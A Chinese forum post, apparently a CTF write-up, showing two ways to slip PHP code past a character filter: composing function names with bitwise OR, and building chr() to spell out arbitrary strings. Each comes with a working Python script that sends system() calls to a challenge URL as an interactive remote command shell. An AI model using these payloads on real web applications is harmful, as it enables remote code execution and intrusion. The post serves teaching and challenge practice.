>
This site is best viewed in a modern browser with JavaScript enabled.
### id="flarum-content">
36D 杯 取吧,小白pl构造方法
yuchoxuuan
Y1ng大佬的wp里面给了一种灰常灰常高端的pl构造,很多小白(比如说我)表示不明觉厉,
对本题而言其实有更接地气的,简单的,适合萌新的构造方式,
记录下来仅供和我一样萌新的小白们参考
php有个很不错的特性是,字符串+() = 函数调用。。。
比如'phpinfo'() = phpinfo()
他的过滤允许我们用. () 所以我们的核心就可以归结到 如何构造函数名和参数上了。
比如我们构造
$1='system'
$2='ls'
那么 $1($2) 就等于 system('ls')
好了:
方法1.他的过滤很傻,包括了字母,~ ^ 看样子是想绝了用位运算绕过的心,可是,除了这两个还有 与 或 啊比如说我们可以用或来构造负载,比如说把负载里面的 字母拆成低五位 高3位 然后或在一起就好了啊。
至于为什么不是四四开,因为四四开的话 高位会落在字母上,然后被过滤掉。。。。所以。。其实我是试出来的。
代码如下:
import requests
url='https://4448ff8b-1023-453d-ab93-90ed7cec37be.chall.ctf.show/?code='
def Sol1(): #方法1 用字符串或的方式拼接载荷
'''
#用这个语句测试一下就知道 把ascii 拆成 低五位,高三位之后,基本上常用的字母数字啥的就都落在敏感词列表之外了,
#当然还有其他各种拆法,不过我觉得这么拆比较省省
for i in range(30,128):
print(i,chr(i),chr(i&0x1F),chr(i&0xE0))
'''
# 这个函数就是把你要转化的字符串里的每个字符拆成低五位,
# 高三位的形式,然后用或操作拼接在一起,
def f1(pl=''):
b1='("'
b2='"'
for i in pl:
x=ord(i)
b1+='%%%02x'%(x&0x1F)
b2+='%%%02x' % (x & 0xE0)
b1+='"'
b2+='")'
return b1+'|'+b2
def getshell(pl1,pl2): #pl1 ,函数名,pl2 参数
shell= "($_1={}).($_2={}).($_1($_2))".format(pl1,pl2)
ret =requests.get(url+shell).text
print(ret[ret.index('</code>')+7:])
while True:
f=f1(input("Function: "))
p=f1(input("param: "))
print('- '*30)
getshell(f,p)
print('- ' * 30)
Sol1()
方法2.既然他给了个全字母的 S_不用可惜了,所以我的第二个思路是构造一个chr出来
然后用chr(?).chr(?).chr(?)的方式拼接任意字符串出来都是可以哒
代码如下:
import requests
url='https://4448ff8b-1023-453d-ab93-90ed7cec37be.chall.ctf.show/?code='
def Sol2():
#这是第二种绕过方法,就是用民敏感词列表直接绕,
# 我的方法是直接用它构造'chr'然后再用他加数字去拼别的
def f2(plF='',plP=''): #函数名,参数
#$_=array('a','b','c','d','e','f','g','h','i','j','k','m','n','l','o','p','q','r','s','t','u','v','w','x','y','z','\~','\^');
f_chr='($_0=$_[2].$_[7].$_[17])'# $_0=chr
f='($_1='
for i in plF:
f+='$_0(%d).'%ord(i) #f=chr(???).chr(???)...
f=f[:-1]+')' #去掉最后一个.
p = '($_2='
for i in plP:
p += '$_0(%d).' % ord(i)
p = p[:-1] + ')' # 去掉最后一个.
shell = f_chr+'.'+f+'.'+p+'.($_1($_2))'
return shell
while True:
f=input("Function: ")
p=input("param: ")
print('- '*30)
ret = requests.get(url + f2(f,p)).text
print(ret[ret.index('</code>') + 7:])
print('- ' * 30)
#
Sol2()
结果如下:
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论